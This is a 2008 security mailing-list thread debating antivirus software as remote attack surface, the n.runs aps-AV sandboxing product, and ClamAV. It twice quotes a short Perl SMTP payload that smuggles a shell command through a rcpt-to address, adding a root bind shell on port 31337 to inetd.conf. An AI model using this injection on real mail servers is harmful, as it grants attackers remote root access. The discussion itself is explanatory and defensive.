(http://www.nruns.com/parsing-engines-advisories.php)
I guess they know what they are talking about ?? But then again you never know.

> We have developed an excellent spam and virus filter that uses ClamAV as
> the virus signature matching engine and have had great success with it.
> We also add our own proprietary virus filtering on top of ClamAV to
> block most viruses too new to have a signature.
ClamAV ? Lowest detection rate in the industry, no on-access scans and
an Anti-virus that was vulnerable to such bugs
[1] you consider a great success ? I don't know who you are protecting
but I hope they were not vulnerable to this :

[1]
print $sock "ehlo you\r\n";
print $sock "mail from: <>\r\n";
print $sock "rcpt to: <nobody+\"|echo '31337 stream tcp nowait root
/bin/sh -i' >> /etc/inetd.conf\"@localhost>\r\n";
print $sock "rcpt to: <nobody+\"|/etc/init.d/inetd restart\"@localhost>\r\n";
print $sock "data\r\n.\r\nquit\r\n";

[Valdis.Kletnieks]

On Tue, 19 Feb 2008 19:46:35 +0100, "Faas M. Mathiasen" said:

> Anyways in this case I am not sure about it, have you read the
> "Security through No-Parsing" paradigma ? They apparently don't parse
> the data and put everything in a sealed environment.

Well, *duh* - if you don't bother virus-scanning, and just dump everything
in a quarantine area, of course your virus-scanner won't get compromised. :)

Of course, that *does* leave you with the sticky question - how do you know
if/when it's safe to look at/examine/open a file that's been dumped in the
quarantine area? :)

[Jon Oberheide-2]

Bob,

On Tue, 2008-02-19 at 12:35 -0500, Bob Toxen wrote:

> On Mon, Feb 18, 2008 at 08:19:41PM +0100, Faas M. Mathiasen wrote:
> > Dear All,
> > Since I got a storm of e-mail to my last post, I'd like to summarise
> > some of them
> > and have something more structured:
>
> > Jon Oberheide send me some impressive statistics with regards of
> > vulnerabilities within AV Software, interesting enough most of them
> > are remotely exploitable :O
> Most?  I would expect most to offer patches quickly.

In the context of Faas' mail server, most are remotely exploitable as
they can be triggered by the attachments of remote unsolicited emails.

> > "Protects your company from malware threats (Worms, Virus, Trojans..),
> > aps-AV reuses your existing Anti-Virus software and supports multiple
> > Anti-Virus engines. aps-AV increases the malware detection rate
> > through the diversity and heuristics of these multiple engines.
> > However unlike the competition,  aps-AV does not increase the remotely
> > exploitable attack surface."
> That sounds like "snake oil".  The more code (i.e., adding their
> product) the greater the "remotely exploitable attack surface".

False, it's simple privilege separation.  By separating the acquisition
of candidate files from the actual analysis of them, you significantly
reduce the attack surface as you've introduced an isolation barrier
between the host requesting analysis of a file and the host that is
actually performing the analysis.

I'm not sure how n.runs implements their system, but our system uses Xen
VMs for the detection engines.  When it is determined that a piece of
malware has exploited the AV software (through non-whitelisted process
spawning, any network activity, or other unexpected system behavior),
the VM is simply trashed and restored from a clean snapshot.  This
isolation and disposal mechanism effectively eliminates the risk of
using vulnerability-ridden antivirus engines.

> > Is anybody using that system ?
> I hope not.

Hmm?

Regards,
Jon Oberheide

--
Jon Oberheide <jon@...>
GnuPG Key: 1024D/F47C17FE
Fingerprint: B716 DA66 8173 6EDD 28F6  F184 5842 1C89 F47C 17FE

[Eduardo Tongson]

This no-parsing/ParsingSafe technology is actually Sandboxing [1].

BTW they keep repeating this:
...
In order to protect the aps-AV itself from attacks, it has been
completely written in highly secure managed code ( C#) , thereby
reducing its attack surface to an absolute minimum.
...

[1] <http://en.wikipedia.org/wiki/Sandbox_(computer_security)>

   Ed <http://blog.eonsec.com>

On Feb 19, 2008 3:19 AM, Faas M. Mathiasen
<faas.m.mathiasen@...> wrote:

> ...
> Apparently they happen, as the guys from n.runs seem to have invented
> some sort of solution for this problem, rendering attacks on AV
> impossible (??) they call it aps-AV :
> "Protects your company from malware threats (Worms, Virus, Trojans..),
> aps-AV reuses your existing Anti-Virus software and supports multiple
> Anti-Virus engines. aps-AV increases the malware detection rate
> through the diversity and heuristics of these multiple engines.
> However unlike the competition,  aps-AV does not increase the remotely
> exploitable attack surface."
>
> http://www.nruns.com/_en/aps/
> http://www.nruns.com/_downloads/aps-AV-Solution-Paper-EN.pdf
>
>  ...

[Bob Toxen-3]

Dear Faas,
> Dear Bob,

> > > Jon Oberheide send me some impressive statistics with regards of
> > > vulnerabilities within AV Software, interesting enough most of them
> > > are remotely exploitable :O
> > Most?  I would expect most to offer patches quickly.
> Yep most of them, if AV software scans data that comes from a remote
> source it is remotely exploitable.
> But it all depends on who is your enemy, if your enemy is a script kiddie
> then yes patching helps. If your up to enemies developing zero days I guess
> that won't help.
It goes without saying that patching does not protect against zero day
exploits.

> > That sounds like "snake oil".  The more code (i.e., adding their
> > product) the greater the "remotely exploitable attack surface".
> I'd like to disagree : Not really. Only code that deals with data that
> can be manipulated by an attacker is "exploitable
> attack surface", so if you only add code that is static and does not
> parse, nor deal with data
> an attacker can manipulate, your exploitable attack surface does in
> fact _not_ grow, that's not snake oil
> but a simple fact, I guess =)
I don't understand what you are saying.  I am assuming that the nruns.com
product is scanning for viruses in email.  Thus, the data (the email)
can be manipulated by the attacker.

> Anyways in this case I am not sure about it, have you read the
> "Security through No-Parsing" paradigma ? They apparently don't parse
> the data and put everything in a sealed environment. knowing these
> guys found these bugs
> (http://www.nruns.com/parsing-engines-advisories.php)
> I guess they know what they are talking about ?? But then again you
> never know.
"No-Parsing paradigma"?  Paradigma isn't even a word (according to
www.merriam-webster.com).

Our product (and to various degrees others, such as raw ClamAV) also run
in a "sealed" environment such as a separate UID, chroot'ed, etc.

> > We have developed an excellent spam and virus filter that uses ClamAV as
> > the virus signature matching engine and have had great success with it.
> > We also add our own proprietary virus filtering on top of ClamAV to
> > block most viruses too new to have a signature.
> ClamAV ? Lowest detection rate in the industry, no on-access scans and
> an Anti-virus that was vulnerable to such bugs
> [1] you consider a great success ? I don't know who you are protecting
> but I hope they were not vulnerable to this :
It has worked quite well for our many clients for many years with zero
compromises.  Further, it ran just fine when McAfee (or Norton, I do
not recall) hung and brought down a client's network when it received
a virus it could not handle!  (Note that our product does additional
virus filtering that does catch things that ClamAV may not.)

> [1]
> print $sock "ehlo you\r\n";
> print $sock "mail from: <>\r\n";
> print $sock "rcpt to: <nobody+\"|echo '31337 stream tcp nowait root
> /bin/sh -i' >> /etc/inetd.conf\"@localhost>\r\n";
> print $sock "rcpt to: <nobody+\"|/etc/init.d/inetd restart\"@localhost>\r\n";
> print $sock "data\r\n.\r\nquit\r\n";
No, ClamAV would not be vulnerable to this because it doesn't receive
the message until after the dialog with the sending system is done.  It
would be the mail server, such as Sendmail, that handles this.  This is
such a simple attack that anything more advanced than using a shell
or perl script to parse would be immune to this.

Best regards,

Bob Toxen, CTO
Horizon Network Security
"Your expert in Spam and Virus Filters, Linux server hardening, Firewalls,
Network Monitoring, Linux System Administration, VPNs, local and remote
backup software, and Network Security consulting, in business for 18 years."

www.VerySecureLinux.com        [Network & Linux/Unix Security Consulting]
www.RealWorldLinuxSecurity.com [Our 5* book: "Real World Linux Security"]
bob@... (e-mail)

My article on "The Seven Deadly Sins of Linux Security" was
published in the May/June 2007 issue of ACM's QUEUE Magazine.